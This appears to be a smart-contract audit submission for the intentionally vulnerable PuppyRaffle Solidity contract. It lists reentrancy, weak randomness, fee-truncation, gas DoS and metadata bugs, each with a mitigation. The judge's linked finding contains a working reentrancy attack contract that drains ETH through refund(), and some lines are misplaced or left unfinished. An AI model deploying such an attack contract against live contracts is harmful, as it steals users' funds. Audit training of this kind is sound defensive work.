Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

PuppyRaffle Security Audit: Reentrancy, Manipulable Randomness, Fee Accounting, Gas DoS, Invalid Player State, NFT Metadata and Raffle Logic Issues

joyfulapple784

Root Cause

@> refund() performs an external ETH transfer before invalidating the player's entry:

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

A malicious contract can re-enter refund() during sendValue() while the same player entry is still active.

Risk

Likelihood: High

  • A malicious contract can participate in the raffle and execute code during the ETH transfer.

  • The player entry remains valid until the external call returns.

Impact: High

  • The same ticket can be refunded multiple times.

  • Repeated refunds can drain ETH belonging to other participants.

Proof of Concept

The Foundry reentrancy test successfully reproduces reentrant calls to refund() before the player entry is cleared.

Recommended Mitigation

Remove:

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

Add:

players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);

Using ReentrancyGuard with nonReentrant is also recommended as defense in depth.

Root Cause

@> The winner index is derived from msg.sender, block.timestamp, and block.difficulty:

uint256 winnerIndex =
uint256(
keccak256(
abi.encodePacked(
msg.sender,
block.timestamp,
block.difficulty
)
)
) % players.length;

msg.sender is fully controlled by the caller, while block-derived values are not suitable as a secure randomness source.

Risk

Likelihood: High

  • Any address can call selectWinner().

  • The caller directly contributes msg.sender to the winner calculation.

Impact: High

  • The selected winner can be influenced by the caller.

  • An attacker can potentially bias the selection toward a favorable participant and the associated prize.

Proof of Concept

Foundry tests demonstrate that changing the caller changes the calculated winner index.

Recommended Mitigation

Remove the use of caller-controlled and predictable block values as the randomness source.

Use a secure randomness provider such as Chainlink VRF or another verifiable randomness mechanism.

Root Cause

@> The calculated fee is explicitly cast from uint256 to uint64:

uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);

Solidity 0.7.6 does not automatically check integer casts for truncation.

Risk

Likelihood: Medium

  • The issue occurs when the calculated fee exceeds the maximum value representable by uint64.

  • Such a value requires an extremely large raffle value, making exploitation less likely under normal conditions.

Impact: High

  • The stored totalFees can differ from the actual accumulated fees.

  • Incorrect accounting can result in incorrect or inaccessible fee withdrawals.

Proof of Concept

Arithmetic tests confirm that converting a value larger than uint64.max to uint64 truncates the value before it is stored.

Recommended Mitigation

Remove:

totalFees = totalFees + uint64(fee);

Add:

totalFees = totalFees + fee;

and change totalFees to:

uint256 public totalFees;
​
​

Root Cause

@> withdrawFees() requires the contract balance to exactly equal totalFees:

require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);

ETH can be forced into the contract without increasing totalFees, causing the balance to exceed the recorded fee amount.

Risk

Likelihood: Medium

  • ETH can be forced into the contract through mechanisms such as selfdestruct.

  • Once unexpected ETH is present, the exact-balance requirement causes withdrawFees() to revert.

Impact: Medium

  • Fee withdrawals become unavailable.

  • The protocol's fee accounting becomes dependent on the contract receiving no unexpected ETH.

Proof of Concept

Echidna successfully generated a counterexample by forcing 1 wei into the raffle contract and then calling withdrawFees(), which reverted.

Recommended Mitigation

Remove:

require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);

Add a check that accounts for outstanding player funds separately, rather than requiring exact balance equality.

Root Cause

@> Duplicate validation uses nested loops over the entire players array:

for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

The number of comparisons grows quadratically with the number of players.

Risk

Likelihood: High

  • Every enterRaffle() call performs the duplicate check over the complete player array.

  • Gas consumption becomes impractical as the raffle grows.

Impact: Medium

  • Large player batches can exceed the block gas limit.

  • The raffle can become practically unusable at sufficiently large player counts.

Proof of Concept

Gas testing showed approximately 1550 players passing while 1575 and 1600 players failed, with gas usage reaching approximately 1.057 billion gas.

Recommended Mitigation

Remove the nested-loop duplicate check.

Add a mapping-based uniqueness check:

mapping(address => bool) public hasEntered;

Then validate each new player in O(1):

require(!hasEntered[newPlayers[i]], "PuppyRaffle: Duplicate player");
hasEntered[newPlayers[i]] = true;
​

Root Cause

@> A refunded player's array entry is replaced with the zero address:

players[playerIndex] = address(0);

The entry remains in the array instead of being removed or otherwise excluded from active-player calculations.

Risk

Likelihood: High

  • Every successful refund creates an address(0) entry.

  • Subsequent raffle logic continues to use the same players array.

Impact: Medium

  • Invalid entries remain in the active player array.

  • These entries can affect winner selection and downstream raffle logic.

Proof of Concept

The refund tests confirm that a refunded player's position remains in players[] as address(0).

Recommended Mitigation

Remove the player from the active player set rather than replacing the entry with address(0).

For example, swap the refunded entry with the last player and remove the last array element.

Root Cause

@> selectWinner() selects directly from players[] without verifying that the selected address is non-zero:

address winner = players[winnerIndex];

Since refund() can leave address(0) entries in the array, the winner can resolve to the zero address.

Risk

Likelihood: Medium

  • A refunded entry remains in players[].

  • The randomness can select the index occupied by address(0).

Impact: Medium

  • The winner payout can fail.

  • _safeMint(address(0), tokenId) reverts, preventing completion of the raffle.

Proof of Concept

Tests demonstrate that a refunded player leaves an address(0) slot and that selecting that slot causes the winner process to fail.

Recommended Mitigation

Remove refunded players from the active array, or explicitly reject zero-address winners before processing the prize.

For example:

Root Cause

@> The Common condition includes both 0 and COMMON_RARITY:

if (rarity <= COMMON_RARITY)

With COMMON_RARITY = 70, values 0 through 70 produce 71 Common outcomes.

Risk

Likelihood: High

  • Every NFT rarity is generated using the same boundary logic.

  • The off-by-one behavior occurs deterministically.

Impact: Low

  • Legendary NFTs are less likely than intended.

  • The implemented distribution differs from the distribution represented by the constants.

Proof of Concept

Rarity tests confirm the effective distribution is approximately 71% Common, 25% Rare, and 4% Legendary.

Recommended Mitigation

Adjust the boundary conditions to match the intended probabilities, for example:

if (rarity < COMMON_RARITY)

and adjust subsequent boundaries accordingly.

Root Cause

@> The rarity value is inserted without quotation marks:

'"attributes": [{"trait_type": "rarity", "value": ',
rareName,
'}],'

This produces metadata such as:

"value": common

instead of:

"value": "common"

Risk

Likelihood: High

  • Every generated token uses the same metadata construction.

  • The malformed JSON is deterministic.

Impact: Low

  • NFT marketplaces and wallets may fail to parse the metadata.

  • Rarity attributes may not be displayed correctly.

Proof of Concept

The tokenURI() test confirms that the generated metadata does not conform to valid JSON syntax.

Recommended Mitigation

Remove:

'"value": ', rareName

Add:

'"value": "', rareName, '"'
​
require(winner != address(0), "PuppyRaffle: Invalid winner")
\Root Cause
​
@> The function returns 0 when the player is not found:
​
for (uint256 i = 0; i < players.length; i++) {
if (players[i] == player) {
return i;
}
}
return 0;
​
Index 0 is also a valid position for an active player.
​
Risk
​
Impact: Informational
​
Callers cannot distinguish an active player at index 0 from a player that does not exist.
Integrations relying on this function may use an incorrect player index.
​
Proof of Concept
​
Calling the function for players[0] and for a nonexistent player both returns 0.
​
Recommended Mitigation
​
Return an additional boolean indicating whether the player was found, or use a sentinel value that cannot represent a valid index.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!